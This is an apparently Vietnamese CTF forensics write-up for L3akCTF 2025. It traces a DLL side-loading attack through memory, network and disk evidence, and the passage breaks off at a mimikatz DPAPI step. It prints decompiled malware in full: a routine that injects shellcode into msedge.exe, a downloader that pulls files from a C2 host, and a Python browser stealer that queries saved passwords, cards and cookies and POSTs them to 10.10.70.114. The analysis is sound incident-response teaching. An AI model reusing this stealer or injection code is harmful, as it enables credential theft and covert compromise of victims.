# Breadcrumbs > L3akCTF 2025 ![image](https://hackmd.io/_uploads/HJAQ8V80lg.png) Description cho biết máy của một nhân viên bắt đầu có những biểu hiện lạ, những file lạ xuất hiện và hiệu năng hệ thông giảm xuống, ta cần phải điều tra xem đã xảy ra chuyện gì Bài cho ta 3 file bao gồm - File memory dump: `memdump.mem` - File network capture: `traffic.pcapng` - Disk image: `disk.ad1` ## Phân tích memory dump Đầu tiên, sử dụng Volatility 3 để phân tích file memory dump, dùng plugin `windows.info` để xem thông tin về OS của máy ![image](https://hackmd.io/_uploads/SkeAvEIRgx.png) Có thể thấy memory image này được capture từ một máy tính sử dụng Windows 10 64 bit với thời gian cho thấy memory được trích xuất vào ngày 16/6/2025 ### Liệt kê các running process Tiếp theo ta sẽ liệt kê các process đã chạy trên máy vào thời điểm capture memory này gồm những process nào bằng plugin `windows.pslist` Khi đó nhận thấy có 3 process khá đáng ngờ như sau ![image](https://hackmd.io/_uploads/r1R3uNIAle.png) Thường thì `7za.exe` là file thực thi của tool 7-Zip, nhưng ở đây nó lại là parent process của cả `conhost.exe` và `msedge.exe` lại rất không bình thường. Bởi vì `conhost.exe` thường là child process của `cmd.exe` chứ không phải `7za.exe`. Còn `msedge.exe` là trình duyệt Microsoft Edge nên không thể mở từ một tool để nén và giải nén như 7-Zip được ### Xác định vị trí file trong bộ nhớ Trước khi dump file đó ra thì ta cần xác định địa chỉ của nó, bằng cách sử dụng plugin `windows.filescan`. Ta sẽ lưu output ra một file txt để nhìn cho dễ ![image](https://hackmd.io/_uploads/HJ5aqN8Ceg.png) Sử dụng lệnh `cat` pipe với `grep` để tìm path của `7za.exe` ![image](https://hackmd.io/_uploads/H1dbjEUClx.png) Như vậy có thể thấy nó có địa chỉ là `0xd484d8429c40` ### Dump process Bây giờ có thể sử dụng plugin `windows.dumpfiles` để dump file đó ra ![image](https://hackmd.io/_uploads/r1OynNIAle.png) ### Khám phá directory của 7za.exe Trước khi tiếp tục thì nên kiểm tra xem cùng folder với `7za.exe` còn gì nữa không, vì thường thì kẻ tấn công sẽ đặt những payload độc hại cùng với file nhị phân để có thể exploit DLL side-loading Trước đó ta thấy `7za.exe` được đặt ở folder Downloads, nên để tìm thì chỉ cần cat và grep `Downloads` ![image](https://hackmd.io/_uploads/rk9JA480ge.png) Có thể thấy ngay file `cryptbase.dll` ở đó Thường thì file này là một file Windows DLL legit được sử dụng bởi Windows Crypto API để thực hiện những hàm mã hóa bậc thấp. File này thường được tìm thấy ở `C:\Windows\System32` và được load bởi nhiều process đáng tin cậy Nhưng ở đây cryptbase.dll lại không ở System32 như đã nói bên trên, đặc biệt lại còn nằm cùng với `7za.exe`, điều này rất bất thường và có thể là DLL side-loading, khi mà file DLL độc hại giả làm một file DLL đáng tin cậy DLL side-loading là kĩ thuật khi kẻ tấn công đặt một DLL độc hại cùng directory với một file thực thi đáng tin cậy. Khi file thực thi được chạy, nó có thể load DLL của kẻ tấn công thay vì DLL thật của hệ thống, vì cách mà Windows tìm DLL là dựa vào directory hiện tại trước. Điều này cho phép kẻ tấn công thực thi code dưới dạng một process hợp pháp, thường sẽ tránh được việc bị phát hiện Tiếp theo ta cần dump file này ra, trước đó đã có được địa chỉ của nó là `0xd484d8922bc0`, tiếp tục sử dụng plugin windows.dumpfiles ![image](https://hackmd.io/_uploads/B1PLeBICxg.png) ### Reverse cryptbase.dll trong IDA Tiếp theo ta cần RE file cryptbase.dll để hiểu hơn về nó. Load vào IDA để xem các hàm, entry point, tìm các dấu hiệu của process injection, shellcode execution hay các API call đáng nghi ```cpp int sub_7FFED6511000() { HRSRC ResourceW; // rax HRSRC v1; // rdi DWORD v2; // ebx HGLOBAL Resource; // rax HRSRC v4; // rbp SIZE_T v5; // rsi HRSRC v6; // rdi DWORD v7; // edx HRSRC v8; // rcx __int64 v9; // rax DWORD (__stdcall *v10)(LPVOID); // rbx HRSRC v11; // rbx HMODULE phModule; // [rsp+50h] [rbp-B8h] BYREF struct _PROCESS_INFORMATION ProcessInformation; // [rsp+58h] [rbp-B0h] BYREF DWORD ExitCode; // [rsp+70h] [rbp-98h] BYREF SIZE_T NumberOfBytesWritten; // [rsp+78h] [rbp-90h] BYREF struct _STARTUPINFOW lpStartupInfo; // [rsp+80h] [rbp-88h] BYREF lpStartupInfo.cb = 104; memset(&lpStartupInfo.lpReserved, 0, 96); LODWORD(ResourceW) = CreateProcessW( L"C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe", 0, 0, 0, 0, 4u, 0, 0, &lpStartupInfo, &ProcessInformation); if ( (_DWORD)ResourceW ) { phModule = 0; LODWORD(ResourceW) = GetModuleHandleExW(4u, (LPCWSTR)sub_7FFED6511000, &phModule); if ( (_DWORD)ResourceW ) { ResourceW = FindResourceW(phModule, (LPCWSTR)0x65, L"SHELL"); v1 = ResourceW; if ( ResourceW ) { v2 = SizeofResource(phModule, ResourceW); Resource = LoadResource(phModule, v1); ResourceW = (HRSRC)LockResource(Resource); v4 = ResourceW; if ( ResourceW ) { if ( v2 ) { v5 = v2; ResourceW = (HRSRC)VirtualAlloc(0, v2, 0x1000u, 0x40u); v6 = ResourceW; if ( ResourceW ) { sub_7FFED651D400(ResourceW, v4, v2); v7 = 0; v8 = v6; do { v8 = (HRSRC)((char *)v8 + 1); v9 = v7++ & 0xF; *((_BYTE *)v8 - 1) ^= aX7qp9zlma2vtej[v9]; } while ( v7 < v2 ); ResourceW = (HRSRC)VirtualAllocEx(ProcessInformation.hProcess, 0, v2, 0x3000u, 0x40u); v10 = (DWORD (__stdcall *)(LPVOID))ResourceW; if ( ResourceW ) { NumberOfBytesWritten = 0; LODWORD(ResourceW) = WriteProcessMemory( ProcessInformation.hProcess, ResourceW, v6, v5, &NumberOfBytesWritten); if ( (_DWORD)ResourceW ) { ResourceW = (HRSRC)CreateRemoteThread(ProcessInformation.hProcess, 0, 0, v10, 0, 0, 0); v11 = ResourceW; if ( ResourceW ) { ExitCode = 0; GetExitCodeThread(ResourceW, &ExitCode); CloseHandle(v11); CloseHandle(ProcessInformation.hThread); CloseHandle(ProcessInformation.hProcess); LODWORD(ResourceW) = VirtualFree(v6, 0, 0x8000u); } } } } } } } } } return (int)ResourceW; } ``` Khi mở trên IDA thấy hàm `sub_7FFED6511000` thực hiện kĩ thuật process injection cổ điển sử dụng shellcode payload nhúng trong resource của DLL, sau đây là các bước chính của hàm trên: **1. Tạo suspended process** - Mở Microsoft Edge (`msedge.exe`) bằng `CreateProcessW` với flag`CREATE_SUSPENDED` vì argument thứ 4 được đặt là `4u`, **2. Extract shellcode từ resource** - Nhận resource `SHELL` với ID `0x65` qua `FindResourceW` - Load và khóa resource bằng `LoadResource` và `LockResource` - Giải mã shellcode bằng cách XOR nó với key 16-byte được mã hóa cứng: `aX7qp9zlma2vtej` **3. Inject shellcode vào Edge** - Cấp phát bộ nhớ bên trong process `msedge.exe` bằng `VirtualAllocEx` - Viết shellcode đã được giải mã vào remote process với `WriteProcessMemory` **4. Thực thi payload** - Gọi `CreateRemoteThread` để chạy shellcode đã được inject bên trong process `msedge.exe` đã bị suspend - Sau đó là dọn dẹp bộ nhớ sau khi thực thi Có thể thấy hàm này là một hàm code injection rất tinh vi, DLL dùng `msedge.exe` để thực thi shellcode ẩn bên trong resource section của chính nó, né tránh bị phát hiện bởi sử dụng file nhị phân mà hệ thống đã tin cậy ### Extract và giải mã shellcode ![image](https://hackmd.io/_uploads/SJ0qhI80xg.png) Ta đã có được XOR key để giải mã, tiếp theo dùng Resource Hacker để extract resource của SHELL từ `cryptbase.dll` ![image](https://hackmd.io/_uploads/rJiUDBL0gg.png) Tiếp theo sử dụng script python sau để giải mã ```python= key = b'X7qP9zLmA2VtEjC0' with open('SHELL101.bin', 'rb') as f: data = bytearray(f.read()) for i in range(len(data)): data[i] ^= key[i % len(key)] with open('decrypted_shellcode.bin', 'wb') as f: f.write(data) ``` Khi đó có file `decrypted_shellcode.bin` chứa payload thực sự mà đã được inject vào `msedge.exe` Khi mở file đó lên trong HxD thì thấy vài byte đầu tiên có dạng `E8 00 00 00 00 59 49 89 C8` ![image](https://hackmd.io/_uploads/Hk6cTLIRex.png) Những byte này là dấu hiệu rõ ràng của Shellcode Reflective DLL Injection (SRDI) - `E8 00 00 00 00` là `call $+5`, một instruction cơ bản trong shellcode để đẩy con trỏ instruction hiện tại vào stack - `59` là `pop rcx`, là nhận con trỏ đó - `49 89 C8` là `mov r8, rcx`, là chuẩn bị gọi hàm Đó là những signature của shellcode được generate bằng tool [Shellcode RDI](https://github.com/monoxgas/sRDI) ![image](https://hackmd.io/_uploads/BJZRALU0ee.png) Có thể thấy `E8 00 00 00 00`, trùng với những gì đã tìm được ở file Như vậy, `cryptbase.dll` resource được chuyển đổi thành position-independent shellcode bằng kĩ thuật ShellcodeRDI. Điều này khẳng định shellcode nhúng thực chất là để biểu diễn reflective loader của một DLL Giờ đã xác định được format, ta có thể extract DLL gốc từ `decrypted_shellcode.bin` ### Extract DLL gốc từ shellcode Đã biết được shellcode là ShellcodeRDI-wrapped DLL, ta có thể extract DLL được nhúng bằng cách sử dụng binwalk như sau ```bash binwalk --extract --dd=".*" decrypted_shellcode.bin ``` ![image](https://hackmd.io/_uploads/ryyogPU0lx.png) - `-e`: extract - `--dd=".*"`: extract mọi signature mà binwalk tìm thấy Thấy `B28` là file thực thi nên ta sẽ load nó vào trong IDA ![image](https://hackmd.io/_uploads/HJcEbv8Cex.png) Ở hàm RunME_0 ta thấy được chức năng chính là một downloader độc hại ```cpp ...v0 = 2147483646; if ( SHGetFolderPathA(0, 26, 0, 0, pszPath) >= 0 ) { v1 = 260; v2 = v40; do { if ( v1 == -2147483386 ) break; v3 = v2[pszPath - v40]; if ( !v3 ) break; *v2++ = v3; --v1; } while ( v1 ); v4 = v2 - 1; if ( v1 ) v4 = v2; v5 = 260; *v4 = 0; v6 = v40; do { if ( !*v6 ) break; ++v6; --v5; } while ( v5 ); v7 = 260 - v5; if ( v5 ) { v8 = &v40[v7]; v9 = 260 - v7; if ( v7 != 260 ) { v10 = 2147483646; v11 = (char *)("\\encrypted.bin" - v8); do { if ( !v10 ) break; v12 = v8[(_QWORD)v11]; if ( !v12 ) break; *v8 = v12; --v10; ++v8; --v9; } while ( v9 ); } v13 = v8 - 1; if ( v9 ) v13 = v8; *v13 = 0; } URLDownloadToFileA(0, "https://10.10.70.114/encrypted.bin", v40, 0, 0); } v14 = 260; v15 = v41; do { if ( v14 == -2147483386 ) break; v16 = v15[pszPath - v41]; if ( !v16 ) break; *v15++ = v16; --v14; } while ( v14 ); v17 = v15 - 1; if ( v14 ) v17 = v15; v18 = 260; *v17 = 0; v19 = v41; do { if ( !*v19 ) break; ++v19; --v18; } while ( v18 ); v20 = 260 - v18; if ( v18 ) { v21 = &v41[v20]; v22 = 260 - v20; if ( v20 != 260 ) { v23 = 2147483646; v24 = (char *)("\\2.txt" - v21); do { if ( !v23 ) break; v25 = v21[(_QWORD)v24]; if ( !v25 ) break; *v21 = v25; --v23; ++v21; --v22; } while ( v22 ); } v26 = v21 - 1; if ( v22 ) v26 = v21; *v26 = 0; } URLDownloadToFileA(0, "https://10.10.70.114/2.txt", v41, 0, 0); URLDownloadToFileA(0, "https://10.10.70.114/L3AK{AV_evasion_is_easy", v41, 0, 0); result = SHGetFolderPathA(0, 7, 0, 0, v43); if ( result >= 0 ) { v28 = 260; v29 = v40; do { if ( v28 == -2147483386 ) break; v30 = v29[v43 - v40]; if ( !v30 ) break; *v29++ = v30; --v28; } while ( v28 ); v31 = v29 - 1; if ( v28 ) v31 = v29; v32 = 260; *v31 = 0; v33 = v40; do { if ( !*v33 ) break; ++v33; --v32; } while ( v32 ); v34 = 260 - v32; if ( v32 ) { v35 = &v40[v34]; v36 = 260 - v34; if ( 260 != v34 ) { v37 = (char *)("\\sctask.exe" - v35); do { if ( !v0 ) break; v38 = v35[(_QWORD)v37]; if ( !v38 ) break; *v35 = v38; --v0; ++v35; --v36; } while ( v36 ); } v39 = v35 - 1; if ( v36 ) v39 = v35; *v39 = 0; } return URLDownloadToFileA(0, "https://10.10.70.114/sctasks.exe", v40, 0, 0); } return result; } ``` Đoạn code này gọi API `URLDownloadToFileA` nhiều lần để nhận file từ một remote server Nó tải các file sau từ C2 server - `encrypted.bin` - `2.txt` - `sctask.exe` Nó cũng kết nối tới `https://10.10.70.114/L3AK{AV_evasion_is_easy` Như vậy ta đã có được part 1 của flag, đó là `L3AK{AV_evasion_is_easy` ## Phân tích traffic capture Ta đã tìm được C2 IP là `10.10.70.114`, vì vậy khi mở file `traffic.pcapng` trên Wireshark, cần áp dụng filter `ip.addr == 10.10.70.114` ![image](https://hackmd.io/_uploads/SyWbQPLCgl.png) ### Quan sát encrypted channel Giao tiếp giữa `10.10.70.114` (kẻ tấn công) và `10.10.70.140` (nạn nhân) được thực hiện qua **TLS 1.2**, như đã thấy bên trên Trong khi **TLS 1.2** vẫn được sử dụng rộng rãi và nhìn chung vẫn bảo mật, tuy nhiên nó vẫn thiếu vài biện pháp bảo mật hiện đại hơn có trong **TLS 1.3** như: - Bảo mật chuyển tiếp theo mặc định - Loại bỏ các mã hóa cũ và thuật toán không an toàn - Giảm khả năng bị lộ metadata Để hiểu rõ hơn về các tham số mã hóa, ta xét packet số 10 trong Wireshark, bao gồm các message của Server Hello, Certificate và Server Hello Done ![image](https://hackmd.io/_uploads/SyKMNPLCgl.png) Các trường này cung cấp thông tin chi tiết về cấu hình TLS được sử dụng bởi máy chủ do kẻ tấn công kiểm soát (`10.10.70.114`): - TLS Version: TLS 1.2 - Cipher Suite: `TLS_RSA_WITH_AES_256_GCM_SHA384` - Key Exchange: RSA Cipher suite này được coi là yếu trong các tiêu chuẩn hiện đại, RSA key change thiếu tính bảo mật chuyển tiếp ### Extract và phân tích TLS Certificate Ta đã xác định được TLS handshake, giờ có thể extract server certificate từ message `Server Hello` ![image](https://hackmd.io/_uploads/ryA5BvL0le.png) Sau đó lưu vào file `my_certificate.txt` ![image](https://hackmd.io/_uploads/BJC1IDLReg.png) Sau đó chuyển chuỗi hex trong đó thành nhị phân ![image](https://hackmd.io/_uploads/B11SvP8Cxe.png) Tiếp theo dùng `openssl` để xem chi tiết metadata và các mã hóa của nó bằng lệnh sau ``` openssl x509 -in certificate.crt -inform DER -text -noout -modulus ``` - `-in certificate.crt`: file input - `-inform DER`: nói rằng format là binary DER - `-text`: hiển thị certificate ở dạng người đọc được - `-noout`: Bỏ qua output được mã hóa base64 - `-modulus`: Hiển thị public key modulus Khi đó nó sẽ output ra như sau ``` Certificate: Data: Version: 3 (0x2) Serial Number: 76:a9:af:24:d7:1a:c3:aa:fd:d3:ca:b1:25:fd:0d:f2:90:6a:7e:76 Signature Algorithm: sha256WithRSAEncryption Issuer: C=AU, ST=Some-State, O=Internet Widgits Pty Ltd Validity Not Before: Jun 15 01:09:12 2025 GMT Not After : Jun 15 01:09:12 2026 GMT Subject: C=AU, ST=Some-State, O=Internet Widgits Pty Ltd Subject Public Key Info: Public Key Algorithm: rsaEncryption Public-Key: (1323 bit) Modulus: 04:5e:86:65:4b:c0:a3:b7:ca:87:31:07:a3:36:f5: 27:d1:30:5f:6a:44:c8:0e:3d:54:ba:fe:d6:69:c4: 51:18:d5:c3:0c:89:c4:65:c0:cc:fb:06:0a:62:59: 22:b4:2f:9a:70:25:5f:6d:20:82:5e:3b:f8:4c:7c: a2:9f:3f:5b:04:89:52:51:e7:0f:e8:76:a7:4c:1b: 35:83:bf:7f:3e:ae:cd:56:b4:d4:48:7c:66:b0:aa: 15:5b:b9:35:c0:a2:0d:92:5b:31:4d:07:9c:1e:91: d5:77:53:46:c6:e4:b7:bf:0a:e1:1e:d9:3a:55:b3: d2:6b:71:3e:25:b1:d3:16:66:0b:98:9c:df:93:5b: e6:7f:ff:82:bc:89:00:00:00:00:00:00:00:00:00: 00:00:00:00:00:00:00:00:00:00:00:00:00:01:32: 99 Exponent: 65537 (0x10001) X509v3 extensions: X509v3 Subject Key Identifier: AE:05:E9:E8:18:02:30:35:FC:BD:2D:A8:B3:68:7E:F0:7E:3E:6D:50 X509v3 Authority Key Identifier: AE:05:E9:E8:18:02:30:35:FC:BD:2D:A8:B3:68:7E:F0:7E:3E:6D:50 X509v3 Basic Constraints: critical CA:TRUE Signature Algorithm: sha256WithRSAEncryption Signature Value: 00:4b:05:2a:b4:ae:2b:7e:ad:67:70:29:7a:a7:91:e9:f9:45: 47:fb:fd:c1:43:36:69:e9:33:7e:29:61:07:71:4d:14:d8:bb: 25:8f:80:f6:6c:28:1b:6b:a8:dd:20:ab:bb:cd:89:ca:2e:76: 8b:de:6d:28:72:e0:48:4b:d5:2b:76:ff:8f:90:60:45:24:31: e8:58:c4:17:ec:39:c5:f9:2a:cb:c2:f4:64:df:20:af:5f:42: f4:aa:78:52:55:76:aa:04:5a:b6:aa:f4:6c:dc:6e:6f:dd:3a: 93:5b:8c:de:af:a0:ef:8f:89:8a:50:b6:78:b7:33:8e:07:6b: 4f:dc:e1:69:09:9b:b9:b7:86:45:6e:5d:71:6a:86:53:d6:b6: f2:3b:c1:e5:65:c6:fb:45:df:b8:27:2b:df:d9:8f:27:80:b6: 34:42:ed:ec Modulus=45E86654BC0A3B7CA873107A336F527D1305F6A44C80E3D54BAFED669C45118D5C30C89C465C0CCFB060A625922B42F9A70255F6D20825E3BF84C7CA29F3F5B04895251E70FE876A74C1B3583BF7F3EAECD56B4D4487C66B0AA155BB935C0A20D925B314D079C1E91D5775346C6E4B7BF0AE11ED93A55B3D26B713E25B1D316660B989CDF935BE67FFF82BC8900000000000000000000000000000000000000000000013299 ``` Modulus là quan trọng trong RSA, modulus (n) là một số to được suy ra từ phép nhân hai số nguyên tố lớn `(p * q)`. Độ bảo mật của nó hoàn toàn phụ thuộc vào độ khó của việc phân tích thừa số (factoring) này. Nếu modulus yếu (quá nhỏ, kích thước không chuẩn như 1323 bit, hoặc generate ra kém), nó có thể bị phân tích thừa số, từ đó suy ra private key và giải mã được TLS traffic ### Thử factor modulus Ta có thể check xem modulus này có đủ khỏe không bằng [FactorDB](https://factordb.com/) RSA modulus được extract từ certificate có dạng hexadecimal như sau `45E86654BC0A3B7CA873107A336F527D1305F6A44C80E3D54BAFED669C45118D5C30C89C465C0CCFB060A625922B42F9A70255F6D20825E3BF84C7CA29F3F5B04895251E70FE876A74C1B3583BF7F3EAECD56B4D4487C66B0AA155BB935C0A20D925B314D079C1E91D5775346C6E4B7BF0AE11ED93A55B3D26B713E25B1D316660B989CDF935BE67FFF82BC8900000000000000000000000000000000000000000000013299` Tiếp theo cần convert từ hex sang decimal để dùng được trong FactorDB, dùng [RapidTables Hex to Decimal Converter](https://www.rapidtables.com/convert/number/hex-to-decimal.html) Có được giá trị decimal: `100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000006660000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000078489` Paste vào FactorDB và có được kết quả như sau ![image](https://hackmd.io/_uploads/rJgi9wLClx.png) Như vậy RSA modulus extract từ TLS certificate đã được factor, ra được 2 số nguyên tố sau - p = `10000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000153` - q = `10000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000513` 2 số này cho phép chúng ta xây dựng tại private key được liên kết với TLS certificate ### Xây dựng lại RSA private key Ta đã có cả `p` và `q`, có thể generate RSA private key bằng [rsatool](https://github.com/ius/rsatool) với format lệnh là `python3 rsatool.py -p <prime_p> -q <prime_q> -o private.key` Áp dụng với p và q đã có ![image](https://hackmd.io/_uploads/HyKosv8Agx.png) ### Giải mã TLS traffic trong Wireshark Giờ ta đã xây dựng lại RSA private key thành công, có thể sử dụng nó để giải mã traffic bị mã hóa TLS trong file capture Với file private key đã lưu dưới dạng PEM `privatekey.pem`, trong Wireshark - Chọn `Edit` -> `Preferences` - Mở rộng `Protocols` -> chọn `TLS` - Chọn `Edit` trên RSA Keys List và thêm các thông tin sau - IP address: 10.10.70.114 - Port: 443 - Protocol: Để trống - Key File: Path đến private.key - Password: Để trống ![image](https://hackmd.io/_uploads/S1fJaw8Cgg.png) Apply và khởi động lại Wireshark Giờ thì các gói tin TLS giữa kẻ tấn công và nạn nhân đã được giải mã, hiện ra plaintext của thông tin giao tiếp ### Xác định các file Ta có thể xem các HTTP objects được trao đổi giữa 2 người, như đã thấy trước đó khi RE file `cryptbase.dll`, các file sau được tải về từ server - `2.txt` - `encrypted.bin` - `sctasks.exe` Những file này có thể thấy rõ ràng ở traffic đã được giải mã ![image](https://hackmd.io/_uploads/SyHo6wIClx.png) Như vậy, kẻ tấn công đã sử dụng HTTPS traffic để chuyển nhiều payload đến máy của nạn nhân. Sau khi giải mã TLS, ta có thể extract và phân tích những file đó ### Phân tích các file `2.txt` - Gồm part 2 của flag `_Mastering_forensics_` ![image](https://hackmd.io/_uploads/rJuL0PL0xg.png) `encrypted.bin` - Gồm dữ liệu bị mã hóa `sctasks.exe` - File thực thi Như vậy đã có được part 2 của flag `_Mastering_forensics_` ## Phân tích disk Tiếp theo ta sẽ phân tích disk image ### Phân tích sctasks.exe Load vào [Detect It Easy](https://github.com/horsicq/Detect-It-Easy) để xem nó được viết bằng ngôn ngữ gì ![image](https://hackmd.io/_uploads/HkgHGdIAxe.png) Như vậy là python, có lẽ được đóng gói bởi tool như PyInstaller. Điều này cho thấy malware được viết payload bằng python và được convert sang `.exe` để chạy trên Windows ### Sử dụng pyinstxtractor Tiếp theo sử dụng [pyinstxtractor](https://github.com/extremecoders-re/pyinstxtractor), một script python phổ biển để extract nội dung từ các file thực thi được đóng gói với PyInstaller - PyInstaller đóng gói script Python và tất cả các phụ thuộc của nó vào một file `.exe`, - `pyinstxtractor.py` quét file `.exe` để tìm các header cụ thể của PyInstaller - Sau đó nó extract các file nhúng, bao gồm script python chính và các module hỗ trợ ra một folder - File `.pyc` được extract có thể được decompile lại thành .py bằng tool như Pylingual hay uncompyle6. ![image](https://hackmd.io/_uploads/SkFa7O80ll.png) ### Decompile browser_stealer.pyc Có thể thấy file `browser_stealer.pyc`, dùng [Pylingual](https://pylingual.io/) - Pylingual đọc một file `.pyc` - Tự động phát hiện phiên bản python - Xây dựng lại source code Python gốc - Xử lý việc decompile giữa các phiên bản khác nhau, ngay cả đối với các format `.pyc` mới hơn Sau khi decompile, ta có script Python gốc như sau ```python= # Decompiled with PyLingual (https://pylingual.io) # Internal filename: browser_stealer.py # Bytecode version: 3.13.0rc3 (3571) # Source timestamp: 1970-01-01 00:00:00 UTC (0) import base64 import json import os import shutil import sqlite3 from datetime import datetime, timedelta from Crypto.Cipher import AES from win32crypt import CryptUnprotectData appdata = os.getenv('LOCALAPPDATA') roaming = os.getenv('APPDATA') browsers = {'avast': appdata + '\\AVAST Software\\Browser\\User Data', 'amigo': appdata + '\\Amigo\\User Data', 'torch': appdata + '\\Torch\\User Data', 'kometa': appdata + '\\Kometa\\User Data', 'orbitum': appdata + '\\Orbitum\\User Data', 'cent-browser': appdata + '\\CentBrowser\\User Data', '7star': appdata + '\\7Star\\7Star\\User Data', 'sputnik': appdata + '\\Sputnik\\Sputnik\\User Data', 'vivaldi': appdata + '\\Vivaldi\\User Data', 'chromium': appdata + '\\Chromium\\User Data', 'chrome-canary': appdata + '\\Google\\Chrome SxS\\User Data', 'chrome': appdata + '\\Google\\Chrome\\User Data', 'epic-privacy-browser': appdata + '\\Epic Privacy Browser\\User Data', 'msedge-dev': appdata + '\\Microsoft\\Edge Dev\\User Data', '\\uCozMedia\\Uran\\User Data': appdata + '\\Yandex\\YandexBrowser\\User Data', '\\BraveSoftware\\Brave-Browser\\User Data': appdata + '\\Iridium\\User Data', '\\CocCoc\\Browser\\User Data': roaming + '\\Opera Software\\Opera Stable', '\\Opera Software\\Opera GX Stable': roaming + '\\Opera Software\\Opera GX Stable'} data_queries = {'login_data': {'query': 'SELECT action_url, username_value, password_value FROM logins', 'file': '\\Login Data', 'columns': ['URL', 'Email', 'Password'], 'decrypt': True}, 'credit_cards': {'query': 'SELECT name_on_card, expiration_month, expiration_year, card_number_encrypted, date_modified FROM credit_cards', 'file': '\\Web Data', 'columns': ['Name On Card', 'Card Number', 'Expires On', 'Added On'], 'decrypt': True}, 'cookies': {'query': 'SELECT host_key, name, path, encrypted_value, expires_utc FROM cookies', 'file': '\\Network\\Cookies', 'columns': ['Host Key', 'Cookie Name', 'Path', 'Cookie', 'Expires On'], 'decrypt': True}, 'history': {'query': 'SELECT url, title, last_visit_time FROM urls', 'file': '\\History', 'columns': ['URL', 'Title', 'Visited Time'], 'decrypt': False}, 'downloads': {'query': 'SELECT tab_url, target_path FROM downloads' def get_master_key(path: str): if not os.path.exists(path): pass # postinserted return None def decrypt_password(buff: bytes, key: bytes) -> str: iv = buff[3:15] payload = buff[15:(-16)] cipher = AES.new(key, AES.MODE_GCM, iv) decrypted_pass = cipher.decrypt(payload) decrypted_pass = decrypted_pass.decode() return decrypted_pass def save_results(browser_name, type_of_data, content): if content: url = 'http://10.10.70.114:443' data = {'browser': browser_name, 'type': type_of_data, 'content': content} try: response = requests.post(url, json=data) if response.status_code == 200: print(f'\t [*] Data sent successfully for {browser_name}/{type_of_data}') return None else: # inserted return None except Exception as e: print(f'\t [-] Error sending data: {e}') return None def decrypt_my_data(encrypted_file): with open('encrypted.bin', 'rb') as f: content = f.read() iv = '1234567891011123' encrypted_data = '6b4781995cf5e4e02c2625b3d1ac6389dbaf68fb5649a3c24ede19465f470412' key = CryptUnprotectData(content, None, None, None, 0)[1] key = bytes.fromhex(key) cipher = AES.new(key, AES.MODE_CBC, iv) data = cipher.decrypt(encrypted_data) return decrypt_my_data def get_data(path: str, profile: str, key, type_of_data): db_file = f"{path}\\{profile}{type_of_data['file']}" if not os.path.exists(db_file): pass # postinserted return None def convert_chrome_time(chrome_time): return (datetime(1601, 1, 1) + timedelta(microseconds=chrome_time)).strftime('%d/%m/%Y %H:%M:%S') def installed_browsers(): available = [] for x in browsers.keys(): if os.path.exists(browsers[x] + '\\Local State'): pass # postinserted else: # inserted available.append(x) return available if __name__ == '__main__': available_browsers = installed_browsers() for browser in available_browsers: browser_path = browsers[browser] master_key = get_master_key(browser_path) print(f'Getting Stored Details from {browser}') for data_type_name, data_type in data_queries.items(): print(f"\t [!] Getting {data_type_name.replace('_', ' ').capitalize()}") notdefault = ['opera-gx'] profile = 'Default' profile = '' if browser in notdefault else '' data = get_data(browser_path, profile, master_key, data_type) save_results(browser, data_type_name, data) print('\t------\n') ``` Đoạn script này là một browser data staler, dùng để - Extract mật khẩu, cookie, thông tin credit card, lịch sử, lịch sử download từ các Chromium-based browser - Giải mã các credentials được lưu bằng Windows DPAPI và master key lưu ở file Local State của browser - Gửi dữ liệu đã đánh cắp được đến remote server `http://10.10.70.114:443` bàng phương thức HTTP POST Một số chức năng cần lưu ý: - Nhắm đến các browser như Chrome, Edge, Brave, Opera GX,... - Gửi dữ liệu đến C2 dưới dạng JSON (`requests.post()`) - Hỗ trợ nhiều browser profile và loại dữ liệu (Login Data, Cookies, History,...) - Chứa hardcoded IV và các tham chiếu để giải mã `encrypted.bin` (mà ta đã tải trước đó) ### Hàm decrypt_my_data() Hàm này giải mã nội dung của `encrypted.bin`, có thể chứa nội dung part 3 của flag ```python= def decrypt_my_data(encrypted_file): with open('encrypted.bin', 'rb') as f: content = f.read() iv = '1234567891011123' encrypted_data = '6b4781995cf5e4e02c2625b3d1ac6389dbaf68fb5649a3c24ede19465f470412' key = CryptUnprotectData(content, None, None, None, 0)[1] key = bytes.fromhex(key) cipher = AES.new(key, AES.MODE_CBC, iv) data = cipher.decrypt(encrypted_data) return decrypt_my_data ``` - Đọc `encrypted.bin` - Dùng `CryptUnprotectData()`, một Windows API call để giải mã nội dung của `encrypted.bin` bằng cách sử dụng Data Protection API (DPAPI). Bước này lấy được AES key dùng để giải mã - Hardcoded IV sử dụng vector khởi tạo tĩnh (static initialization vector) (`iv = ‘1234567891011123’`) cho giải mã AES - Giải mã `encrypted_data`, một string ciphertext hardcoded đưỡ giải mã AES ở CBC mode, hiện ra payload, có lẽ là part cuối của flag DPAPI (Data Protection API) là một tính năng có sẵn của Windows cho phép chương trình được mã hóa và giải mã dữ liệu một cách an toàn liên quan đến một người dùng hoặc thiết bị cụ thể mà không cần phải quản lí key mã hóa một cách thủ công Các điểm chính: - User-bound: dữ liệu bị mã hóa chỉ có thể được giải mã bởi cùng một user account - Sử dụng: Browser(như Chrome/Edge) sử dụng DPAPI để lưu trữ mật khẩu hay key mã hóa một cách an toàn - Gọi thông qua `CryptProtectData()` để mã hóa, `CryptUnprotectData()` để giải mã - Ở đây, malware sử dụng `CryptUnprotectData()` để giải mã một key mà sau đó đã giải mã `encrypted.bin` **Master Key trong DPAPI** Master key là một thành phần cốt lõi của DPAPI, được sử dụng để giải mã dữ liệu user-protected Nó được generate ở mỗi người dùng và lưu trữ an toàn trong profile người dùng theo path `C:\Users\<Username>\AppData\Roaming\Microsoft\Protect\<SID>\` Các file trong folder đó bao gồm các master key bị mã hóa liên kết đến credential logon của người dùng Tool như [Mimikatz](https://github.com/gentilkiwi/mimikatz) có thể giải mã các key này nếu như được chạy trong trường hợp cùng người dùng, hoặc sử dụng LSA secret hoặc hash của mật khẩu người dùng Một khi master key được giải mã, nó có thể được sử dụng để giải mã dữ liệu nhạy cảm của browser như credential hay các payload mã hóa thủ công như `encrypted.bin` ### Extract DPAPI Master Key ``` mimikatz # dpapi::masterkey 